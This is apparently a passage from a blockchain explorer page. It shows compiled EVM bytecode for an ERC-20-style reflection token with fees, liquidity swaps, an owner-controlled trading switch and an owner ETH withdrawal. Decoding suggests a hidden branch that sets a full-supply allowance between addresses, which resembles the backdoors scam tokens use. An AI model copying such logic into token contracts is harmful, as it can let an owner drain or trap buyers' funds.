fd5b5061033361051736600461220a565b610b74565b348015610527575f80fd5b506005546102a1906001600160a01b031681565b348015610546575f80fd5b506001546102a1906001600160a01b031681565b348015610565575f80fd5b5061035360285481565b34801561057a575f80fd5b506102d2610589366004612225565b610b80565b348015610599575f80fd5b5061035360125481565b3480156105ae575f80fd5b506103536105bd36600461220a565b610bd4565b3480156105cd575f80fd5b506102d2610c30565b3480156105e1575f80fd5b506102d2610cae565b3480156105f5575f80fd5b5061035360185481565b34801561060a575f80fd5b506102a1610cf0565b34801561061e575f80fd5b50600e546001600160a01b03166102a1565b34801561063b575f80fd5b5061035360235481565b348015610650575f80fd5b506102e8610d08565b348015610664575f80fd5b506004546102a1906001600160a01b031681565b348015610683575f80fd5b5061033361069236600461218b565b610d17565b3480156106a2575f80fd5b506103336106b136600461218b565b610d4d565b3480156106c1575f80fd5b50610353601c5481565b3480156106d6575f80fd5b5061035360175481565b3480156106eb575f80fd5b5061035360145481565b348015610700575f80fd5b5061035360155481565b348015610715575f80fd5b50610353610724366004612260565b6001600160a01b039182165f908152602d6020908152604080832093909416825291909152205490565b348015610759575f80fd5b50610353601b5481565b34801561076e575f80fd5b5061035360165481565b348015610783575f80fd5b5061035360295481565b600e546001600160a01b031633146107c05760405162461bcd60e51b81526004016107b79061228c565b60405180910390fd5b600e546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107f6573d5f803e3d5ffd5b50565b606060028054610808906122c1565b80601f0160208091040260200160405190810160405280929190818152602001828054610834906122c1565b801561087f5780601f106108565761010080835404028352916020019161087f565b820191905f5260205f20905b81548152906001019060200180831161086257829003601f168201915b5050505050905090565b5f610895338484610d59565b5060015b92915050565b5f6108ab848484610e7c565b506001600160a01b0384165f908152602d60209081526040808320338085529252909120546108e69186916108e190869061230d565b610d59565b5060019392505050565b600e546001600160a01b0316331461091a5760405162461bcd60e51b81526004016107b79061228c565b602554610100900460ff16156109725760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920656e61626c656421000000000000000060448201526064016107b7565b6004546001600160a01b03165f908152602a6020526040902054156109cf576004546001600160a01b03165f908152602a60205260409020546109b490610abc565b6004546001600160a01b03165f908152602b60205260409020555b305f908152602a602052604090205415610a0b57305f908152602a60205260409020546109fb90610abc565b305f908152602b60205260409020555b6025805465ff000000ff0019166501000000010017905560088054600181810183557ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee39182018054306001600160a01b031991821681179092556004805486548086019097559590940180546001600160a01b0396871692169190911790555f908152602f6020526040808220805460ff199081168517909155935490941681529290922080549091169091179055565b5f600a54821115610b225760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107b7565b5f610b2b6111f3565b9050610b378184612320565b9392505050565b335f818152602d602090815260408083206001600160a01b038716845290915281205490916108959185906108e190869061233f565b5f610899825f19610889565b600e546001600160a01b03163314610baa5760405162461bcd60e51b81526004016107b79061228c565b6001600160a01b03919091165f908152602e60205260409020805460ff1916911515919091179055565b6001600160a01b0381165f908152602f602052604081205460ff1615610c0f57506001600160a01b03165f908152602b602052604090205490565b6001600160a01b0382165f908152602a602052604090205461089990610abc565b600e546001600160a01b03163314610c5a5760405162461bcd60e51b81526004016107b79061228c565b600e54610c70906001600160a01b03165f610b80565b600e80546001600160a01b03191690556040515f9081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b600e546001600160a01b03163314610cd85760405162461bcd60e51b81526004016107b79061228c565b60075460288190556029556009546026819055602755565b5f610d03600e546001600160a01b031690565b905090565b606060038054610808906122c1565b335f818152602d602090815260408083206001600160a01b038716845290915281205490916108959185906108e190869061230d565b5f6108e6338484610e7c565b6001600160a01b038316610dbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b7565b6001600160a01b038216610e1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b7565b6001600160a01b038381165f818152602d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610ee15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b7565b6001600160a01b038316610f435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b7565b5f8211610fa45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107b7565b610fae8484611371565b1561112057602554610100900460ff1661100a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107b7565b60265482111561106d5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107b7565b6005546001600160a01b038481169116148015906110a357506001600160a01b0383165f908152602c602052604090205460ff16155b1561112057602754826110b585610bd4565b6110bf919061233f565b11156111205760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b60648201526084016107b7565b6001600160a01b0383165f908152602c602052604090205460ff16156111e0576025546301000000900460ff16158015611165575060255465010000000000900460ff165b801561118957506001600160a01b0384165f908152602e602052604090205460ff16155b80156111ad57506001600160a01b0383165f908152602e602052604090205460ff16155b156111e0575f6111bc30610bd4565b9050600c5481106111de57600d5481106111d55750600d545b6111de81611443565b505b6111eb84848461175a565b949350505050565b600954600a545f9190825b6008548110156113385782602b5f6008848154811061121f5761121f612352565b5f9182526020808320909101546001600160a01b031683528201929092526040019020541180611287575081602a5f6008848154811061126157611261612352565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b156112a457600954600a5461129c9190612320565b935050505090565b602b5f600883815481106112ba576112ba612352565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546112e8908461230d565b9250602a5f6008838154811061130057611300612352565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461132e908361230d565b91506001016111fe565b50600954600a546113499190612320565b81101561136757600954600a546113609190612320565b9250505090565b6113608282612320565b5f611384600e546001600160a01b031690565b6001600160a01b0316836001600160a01b0316141580156113b35750600e546001600160a01b03838116911614155b80156113d757506001600160a01b0382165f9081526030602052604090205460ff16155b80156113fb57506001600160a01b0383165f9081526030602052604090205460ff16155b801561141457505f546001600160a01b03838116911614155b801561142857506001600160a01b03821615155b8015610b3757506001600160a01b0383163014159392505050565b6025805463ff00000019166301000000179055602354602254611466919061233f565b1561174a575f600260235460225461147e919061233f565b60225461148b9085612366565b6114959190612320565b61149f9190612320565b90505f6114ac828461230d565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106114e4576114e4612352565b6001600160a01b03928316602091820292909201810191909152603154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561153b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061155f919061237d565b8160018151811061157257611572612352565b6001600160a01b03928316602091820292909201015260315460405163791ac94760e01b815291169063791ac947906115b79085905f90869030904290600401612398565b5f604051808303815f87803b1580156115ce575f80fd5b505af11580156115e0573d5f803e3d5ffd5b505050505f60026023546022546115f7919061233f565b6022546116049047612366565b61160e9190612320565b6116189190612320565b905083156116fa576031545f805460405163f305d71960e01b8152306004820152602481018890526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015611690573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906116b59190612409565b505060408051868152602081018490529081018690527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561915060600160405180910390a15b5f611705858761230d565b11156117455760065460405147916001600160a01b03169082156108fc029083905f818181858888f19350505050158015611742573d5f803e3d5ffd5b50505b505050505b506025805463ff00000019169055565b6001600160a01b0383165f908152602e602052604081205460019060ff168061179a57506001600160a01b0384165f908152602e602052604090205460ff165b156117a257505f5b6117ac8585611a6e565b5f6117b986868685611c16565b9050836117c587610bd4565b10611a625760608101516001600160a01b0386165f908152602a60205260409020546117f1919061233f565b6001600160a01b038087165f908152602a602052604080822093909355608084015191891681529190912054611827919061230d565b6001600160a01b0387165f908152602a6020908152604080832093909355602f9052205460ff1615801561187257506001600160a01b0385165f908152602f602052604090205460ff165b156118b85780516001600160a01b0386165f908152602b602052604090205461189b919061233f565b6001600160a01b0386165f908152602b60205260409020556119d1565b6001600160a01b0386165f908152602f602052604090205460ff1680156118f657506001600160a01b0385165f908152602f602052604090205460ff165b15611951576001600160a01b0386165f908152602b602052604090205461191e90859061230d565b6001600160a01b038088165f908152602b60205260408082209390935583519188168152919091205461189b919061233f565b6001600160a01b0386165f908152602f602052604090205460ff16801561199057506001600160a01b0385165f908152602f602052604090205460ff16155b156119d1576001600160a01b0386165f908152602b60205260409020546119b890859061230d565b6001600160a01b0387165f908152602b60205260409020555b81156119e5576119e5868260400151611ecc565b5f816020015111806119fa57505f8160a00151115b15611a1157611a118160a001518260200151611f92565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef835f0151604051611a5991815260200190565b60405180910390a35b50600195945050505050565b60255462010000900460ff16611c125760255462010000900460ff1615611ae35760405162461bcd60e51b815260206004820152602360248201527f4c697175696469747920616c726561647920616464656420616e64206d61726b60448201526232b21760e91b60648201526084016107b7565b611aed8282611371565b158015611b0757506004546001600160a01b038281169116145b15611b99576025805465ff00000000001916650100000000001781556001600160a01b0383165f9081526030602052604090819020805460ff19166001908117909155825462ff00001916620100001790925542601055517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15991611b9091901515815260200190565b60405180910390a15b60255462010000900460ff16158015611bb75750611bb78282611371565b15611c125760405162461bcd60e51b815260206004820152602560248201527f4f6e6c79206f776e65722063616e207472616e736665722061742074686973206044820152643a34b6b29760d91b60648201526084016107b7565b5050565b611c496040518060c001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b611c7c6040518060c001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b5f611c85611fb8565b9050611c918186612366565b60808301528315611dbe576001600160a01b0387165f908152602c602052604090205460ff1615611cd7576016546013555f602155601554601255601454601155611d2d565b6001600160a01b0386165f908152602c602052604090205460ff1615611d1457601954601355601d54602155601854601255601754601155611d2d565b601c54601355601d54602155601b54601255601a546011555b602454601354601254611d40919061233f565b611d4a9087612366565b611d549190612320565b6040830152602454601154611d699087612366565b611d739190612320565b6020830181905260215460408401519091611d8e919061233f565b611d98908761230d565b611da2919061230d565b82526020820151611db4908290612366565b60a0830152611e8f565b6001600160a01b0387165f908152602c602052604090205460ff1615611df557601554601255601454601155601654601355611e77565b6001600160a01b0386165f908152602c602052604090205460ff1615611e54576018546012556017546011556009546001600160a01b038088165f908152602d60209081526040808320938c1683529290522055601954601355611e77565b601b54601255601a54601155600c548510611e7057600954601d555b601c546013555b5f6020830181905260a0830181905260408301528482525b808260400151611e9f9190612366565b8260a00151611eae919061233f565b8260800151611ebd919061230d565b60608301525095945050505050565b5f611ed56111f3565b90505f611ee28284612366565b305f908152602a6020526040902054909150611eff90829061233f565b305f908152602a6020908152604080832093909355602f9052205460ff1615611f4c57305f908152602b6020526040902054611f3c90849061233f565b305f908152602b60205260409020555b60405183815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b81600a54611fa0919061230d565b600a55600b54611fb190829061233f565b600b555050565b5f805f611fc3611fd2565b90925090506113608183612320565b600a546009545f918291825b6008548110156121115782602a5f60088481548110611fff57611fff612352565b5f9182526020808320909101546001600160a01b031683528201929092526040019020541180612067575081602b5f6008848154811061204157612041612352565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b1561207d57600a54600954945094505050509091565b602a5f6008838154811061209357612093612352565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546120c1908461230d565b9250602b5f600883815481106120d9576120d9612352565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054612107908361230d565b9150600101611fde565b50600954600a546121229190612320565b82101561213957600a546009549350935050509091565b90939092509050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107f6575f80fd5b5f806040838503121561219c575f80fd5b82356121a781612177565b946020939093013593505050565b5f805f606084860312156121c7575f80fd5b83356121d281612177565b925060208401356121e281612177565b929592945050506040919091013590565b5f60208284031215612203575f80fd5b5035919050565b5f6020828403121561221a575f80fd5b8135610b3781612177565b5f8060408385031215612236575f80fd5b823561224181612177565b915060208301358015158114612255575f80fd5b809150509250929050565b5f8060408385031215612271575f80fd5b823561227c81612177565b9150602083013561225581612177565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c908216806122d557607f821691505b6020821081036122f357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610899576108996122f9565b5f8261233a57634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610899576108996122f9565b634e487b7160e01b5f52603260045260245ffd5b8082028115828204841417610899576108996122f9565b5f6020828403121561238d575f80fd5b8151610b3781612177565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156123e85784516001600160a01b0316835293830193918301916001016123c3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f6060848603121561241b575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122093263d5c70919aac9788bca2d6a41357b32734ec1a65c13c64792054b2de8db664736f6c63430008190033
Deployed Bytecode
0x608060405260043610610278575f3560e01c806358fa63ca1161014a57806395d89b41116100be578063d038b07e11610078578063d038b07e146106e0578063dc44b6a0146106f5578063dd62ed3e1461070a578063ea08d30b1461074e578063efcc52de14610763578063f6540ec714610778575f80fd5b806395d89b41146106455780639c74daf014610659578063a457c2d714610678578063a9059cbb14610697578063ab4fd424146106b6578063bbcea6bf146106cb575f80fd5b8063715018a61161010f578063715018a6146105c2578063751039fc146105d657806388790a68146105ea578063893d20e8146105ff5780638da5cb5b146106135780639063da6714610630575f80fd5b806358fa63ca1461053b578063640384091461055a5780636612e66f1461056f5780636bc87c3a1461058e57806370a08231146105a3575f80fd5b80632d838119116101ec57806345e8c85c116101a657806345e8c85c146104705780634a74bb021461048557806350a8e016146104a75780635342acb4146104c6578063571ac8b0146104fd578063583e05681461051c575f80fd5b80632d838119146103d257806330a08534146103f1578063313ce56714610406578063384f6b5114610427578063395093511461043c5780633b124fe71461045b575f80fd5b806313114a9d1161023d57806313114a9d1461034357806315639c1b1461036157806318160ddd14610376578063200a692d1461038a57806323b872dd1461039f578063293230b8146103be575f80fd5b806303fd2a45146102835780630614117a146102be57806306fdde03146102d45780630758d924146102f5578063095ea7b314610314575f80fd5b3661027f57005b5f80fd5b34801561028e575f80fd5b505f546102a1906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156102c9575f80fd5b506102d261078d565b005b3480156102df575f80fd5b506102e86107f9565b6040516102b59190612142565b348015610300575f80fd5b506031546102a1906001600160a01b031681565b34801561031f575f80fd5b5061033361032e36600461218b565b610889565b60405190151581526020016102b5565b34801561034e575f80fd5b50600b545b6040519081526020016102b5565b34801561036c575f80fd5b5061035360115481565b348015610381575f80fd5b50600954610353565b348015610395575f80fd5b5061035360195481565b3480156103aa575f80fd5b506103336103b93660046121b5565b61089f565b3480156103c9575f80fd5b506102d26108f0565b3480156103dd575f80fd5b506103536103ec3660046121f3565b610abc565b3480156103fc575f80fd5b50610353601d5481565b348015610411575f80fd5b5060255460405160ff90911681526020016102b5565b348015610432575f80fd5b5061035360225481565b348015610447575f80fd5b5061033361045636600461218b565b610b3e565b348015610466575f80fd5b5061035360135481565b34801561047b575f80fd5b50610353601a5481565b348015610490575f80fd5b506025546103339065010000000000900460ff1681565b3480156104b2575f80fd5b506025546103339062010000900460ff1681565b3480156104d1575f80fd5b506103336104e036600461220a565b6001600160a01b03165f908152602e602052604090205460ff1690565b348015610508575f80fd5b5061033361051736600461220a565b610b74565b348015610527575f80fd5b506005546102a1906001600160a01b031681565b348015610546575f80fd5b506001546102a1906001600160a01b031681565b348015610565575f80fd5b5061035360285481565b34801561057a575f80fd5b506102d2610589366004612225565b610b80565b348015610599575f80fd5b5061035360125481565b3480156105ae575f80fd5b506103536105bd36600461220a565b610bd4565b3480156105cd575f80fd5b506102d2610c30565b3480156105e1575f80fd5b506102d2610cae565b3480156105f5575f80fd5b5061035360185481565b34801561060a575f80fd5b506102a1610cf0565b34801561061e575f80fd5b50600e546001600160a01b03166102a1565b34801561063b575f80fd5b5061035360235481565b348015610650575f80fd5b506102e8610d08565b348015610664575f80fd5b506004546102a1906001600160a01b031681565b348015610683575f80fd5b5061033361069236600461218b565b610d17565b3480156106a2575f80fd5b506103336106b136600461218b565b610d4d565b3480156106c1575f80fd5b50610353601c5481565b3480156106d6575f80fd5b5061035360175481565b3480156106eb575f80fd5b5061035360145481565b348015610700575f80fd5b5061035360155481565b348015610715575f80fd5b50610353610724366004612260565b6001600160a01b039182165f908152602d6020908152604080832093909416825291909152205490565b348015610759575f80fd5b50610353601b5481565b34801561076e575f80fd5b5061035360165481565b348015610783575f80fd5b5061035360295481565b600e546001600160a01b031633146107c05760405162461bcd60e51b81526004016107b79061228c565b60405180910390fd5b600e546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107f6573d5f803e3d5ffd5b50565b606060028054610808906122c1565b80601f0160208091040260200160405190810160405280929190818152602001828054610834906122c1565b801561087f5780601f106108565761010080835404028352916020019161087f565b820191905f5260205f20905b81548152906001019060200180831161086257829003601f168201915b5050505050905090565b5f610895338484610d59565b5060015b92915050565b5f6108ab848484610e7c565b506001600160a01b0384165f908152602d60209081526040808320338085529252909120546108e69186916108e190869061230d565b610d59565b5060019392505050565b600e546001600160a01b0316331461091a5760405162461bcd60e51b81526004016107b79061228c565b602554610100900460ff16156109725760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920656e61626c656421000000000000000060448201526064016107b7565b6004546001600160a01b03165f908152602a6020526040902054156109cf576004546001600160a01b03165f908152602a60205260409020546109b490610abc565b6004546001600160a01b03165f908152602b60205260409020555b305f908152602a602052604090205415610a0b57305f908152602a60205260409020546109fb90610abc565b305f908152602b60205260409020555b6025805465ff000000ff0019166501000000010017905560088054600181810183557ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee39182018054306001600160a01b031991821681179092556004805486548086019097559590940180546001600160a01b0396871692169190911790555f908152602f6020526040808220805460ff199081168517909155935490941681529290922080549091169091179055565b5f600a54821115610b225760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107b7565b5f610b2b6111f3565b9050610b378184612320565b9392505050565b335f818152602d602090815260408083206001600160a01b038716845290915281205490916108959185906108e190869061233f565b5f610899825f19610889565b600e546001600160a01b03163314610baa5760405162461bcd60e51b81526004016107b79061228c565b6001600160a01b03919091165f908152602e60205260409020805460ff1916911515919091179055565b6001600160a01b0381165f908152602f602052604081205460ff1615610c0f57506001600160a01b03165f908152602b602052604090205490565b6001600160a01b0382165f908152602a602052604090205461089990610abc565b600e546001600160a01b03163314610c5a5760405162461bcd60e51b81526004016107b79061228c565b600e54610c70906001600160a01b03165f610b80565b600e80546001600160a01b03191690556040515f9081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b600e546001600160a01b03163314610cd85760405162461bcd60e51b81526004016107b79061228c565b60075460288190556029556009546026819055602755565b5f610d03600e546001600160a01b031690565b905090565b606060038054610808906122c1565b335f818152602d602090815260408083206001600160a01b038716845290915281205490916108959185906108e190869061230d565b5f6108e6338484610e7c565b6001600160a01b038316610dbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b7565b6001600160a01b038216610e1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b7565b6001600160a01b038381165f818152602d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610ee15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b7565b6001600160a01b038316610f435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b7565b5f8211610fa45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107b7565b610fae8484611371565b1561112057602554610100900460ff1661100a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107b7565b60265482111561106d5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107b7565b6005546001600160a01b038481169116148015906110a357506001600160a01b0383165f908152602c602052604090205460ff16155b1561112057602754826110b585610bd4565b6110bf919061233f565b11156111205760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b60648201526084016107b7565b6001600160a01b0383165f908152602c602052604090205460ff16156111e0576025546301000000900460ff16158015611165575060255465010000000000900460ff165b801561118957506001600160a01b0384165f908152602e602052604090205460ff16155b80156111ad57506001600160a01b0383165f908152602e602052604090205460ff16155b156111e0575f6111bc30610bd4565b9050600c5481106111de57600d5481106111d55750600d545b6111de81611443565b505b6111eb84848461175a565b949350505050565b600954600a545f9190825b6008548110156113385782602b5f6008848154811061121f5761121f612352565b5f9182526020808320909101546001600160a01b031683528201929092526040019020541180611287575081602a5f6008848154811061126157611261612352565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b156112a457600954600a5461129c9190612320565b935050505090565b602b5f600883815481106112ba576112ba612352565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546112e8908461230d565b9250602a5f6008838154811061130057611300612352565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461132e908361230d565b91506001016111fe565b50600954600a546113499190612320565b81101561136757600954600a546113609190612320565b9250505090565b6113608282612320565b5f611384600e546001600160a01b031690565b6001600160a01b0316836001600160a01b0316141580156113b35750600e546001600160a01b03838116911614155b80156113d757506001600160a01b0382165f9081526030602052604090205460ff16155b80156113fb57506001600160a01b0383165f9081526030602052604090205460ff16155b801561141457505f546001600160a01b03838116911614155b801561142857506001600160a01b03821615155b8015610b3757506001600160a01b0383163014159392505050565b6025805463ff00000019166301000000179055602354602254611466919061233f565b1561174a575f600260235460225461147e919061233f565b60225461148b9085612366565b6114959190612320565b61149f9190612320565b90505f6114ac828461230d565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106114e4576114e4612352565b6001600160a01b03928316602091820292909201810191909152603154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561153b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061155f919061237d565b8160018151811061157257611572612352565b6001600160a01b03928316602091820292909201015260315460405163791ac94760e01b815291169063791ac947906115b79085905f90869030904290600401612398565b5f604051808303815f87803b1580156115ce575f80fd5b505af11580156115e0573d5f803e3d5ffd5b505050505f60026023546022546115f7919061233f565b6022546116049047612366565b61160e9190612320565b6116189190612320565b905083156116fa576031545f805460405163f305d71960e01b8152306004820152602481018890526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015611690573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906116b59190612409565b505060408051868152602081018490529081018690527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561915060600160405180910390a15b5f611705858761230d565b11156117455760065460405147916001600160a01b03169082156108fc029083905f818181858888f19350505050158015611742573d5f803e3d5ffd5b50505b505050505b506025805463ff00000019169055565b6001600160a01b0383165f908152602e602052604081205460019060ff168061179a57506001600160a01b0384165f908152602e602052604090205460ff165b156117a257505f5b6117ac8585611a6e565b5f6117b986868685611c16565b9050836117c587610bd4565b10611a625760608101516001600160a01b0386165f908152602a60205260409020546117f1919061233f565b6001600160a01b038087165f908152602a602052604080822093909355608084015191891681529190912054611827919061230d565b6001600160a01b0387165f908152602a6020908152604080832093909355602f9052205460ff1615801561187257506001600160a01b0385165f908152602f602052604090205460ff165b156118b85780516001600160a01b0386165f908152602b602052604090205461189b919061233f565b6001600160a01b0386165f908152602b60205260409020556119d1565b6001600160a01b0386165f908152602f602052604090205460ff1680156118f657506001600160a01b0385165f908152602f602052604090205460ff165b15611951576001600160a01b0386165f908152602b602052604090205461191e90859061230d565b6001600160a01b038088165f908152602b60205260408082209390935583519188168152919091205461189b919061233f565b6001600160a01b0386165f908152602f602052604090205460ff16801561199057506001600160a01b0385165f908152602f602052604090205460ff16155b156119d1576001600160a01b0386165f908152602b60205260409020546119b890859061230d565b6001600160a01b0387165f908152602b60205260409020555b81156119e5576119e5868260400151611ecc565b5f816020015111806119fa57505f8160a00151115b15611a1157611a118160a001518260200151611f92565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef835f0151604051611a5991815260200190565b60405180910390a35b50600195945050505050565b60255462010000900460ff16611c125760255462010000900460ff1615611ae35760405162461bcd60e51b815260206004820152602360248201527f4c697175696469747920616c726561647920616464656420616e64206d61726b60448201526232b21760e91b60648201526084016107b7565b611aed8282611371565b158015611b0757506004546001600160a01b038281169116145b15611b99576025805465ff00000000001916650100000000001781556001600160a01b0383165f9081526030602052604090819020805460ff19166001908117909155825462ff00001916620100001790925542601055517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15991611b9091901515815260200190565b60405180910390a15b60255462010000900460ff16158015611bb75750611bb78282611371565b15611c125760405162461bcd60e51b815260206004820152602560248201527f4f6e6c79206f776e65722063616e207472616e736665722061742074686973206044820152643a34b6b29760d91b60648201526084016107b7565b5050565b611c496040518060c001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b611c7c6040518060c001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b5f611c85611fb8565b9050611c918186612366565b60808301528315611dbe576001600160a01b0387165f908152602c602052604090205460ff1615611cd7576016546013555f602155601554601255601454601155611d2d565b6001600160a01b0386165f908152602c602052604090205460ff1615611d1457601954601355601d54602155601854601255601754601155611d2d565b601c54601355601d54602155601b54601255601a546011555b602454601354601254611d40919061233f565b611d4a9087612366565b611d549190612320565b6040830152602454601154611d699087612366565b611d739190612320565b6020830181905260215460408401519091611d8e919061233f565b611d98908761230d565b611da2919061230d565b82526020820151611db4908290612366565b60a0830152611e8f565b6001600160a01b0387165f908152602c602052604090205460ff1615611df557601554601255601454601155601654601355611e77565b6001600160a01b0386165f908152602c602052604090205460ff1615611e54576018546012556017546011556009546001600160a01b038088165f908152602d60209081526040808320938c1683529290522055601954601355611e77565b601b54601255601a54601155600c548510611e7057600954601d555b601c546013555b5f6020830181905260a0830181905260408301528482525b808260400151611e9f9190612366565b8260a00151611eae919061233f565b8260800151611ebd919061230d565b60608301525095945050505050565b5f611ed56111f3565b90505f611ee28284612366565b305f908152602a6020526040902054909150611eff90829061233f565b305f908152602a6020908152604080832093909355602f9052205460ff1615611f4c57305f908152602b6020526040902054611f3c90849061233f565b305f908152602b60205260409020555b60405183815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b81600a54611fa0919061230d565b600a55600b54611fb190829061233f565b600b555050565b5f805f611fc3611fd2565b90925090506113608183612320565b600a546009545f918291825b6008548110156121115782602a5f60088481548110611fff57611fff612352565b5f9182526020808320909101546001600160a01b031683528201929092526040019020541180612067575081602b5f6008848154811061204157612041612352565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b1561207d57600a54600954945094505050509091565b602a5f6008838154811061209357612093612352565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546120c1908461230d565b9250602b5f600883815481106120d9576120d9612352565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054612107908361230d565b9150600101611fde565b50600954600a546121229190612320565b82101561213957600a546009549350935050509091565b90939092509050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107f6575f80fd5b5f806040838503121561219c575f80fd5b82356121a781612177565b946020939093013593505050565b5f805f606084860312156121c7575f80fd5b83356121d281612177565b925060208401356121e281612177565b929592945050506040919091013590565b5f60208284031215612203575f80fd5b5035919050565b5f6020828403121561221a575f80fd5b8135610b3781612177565b5f8060408385031215612236575f80fd5b823561224181612177565b915060208301358015158114612255575f80fd5b809150509250929050565b5f8060408385031215612271575f80fd5b823561227c81612177565b9150602083013561225581612177565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c908216806122d557607f821691505b6020821081036122f357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f5260116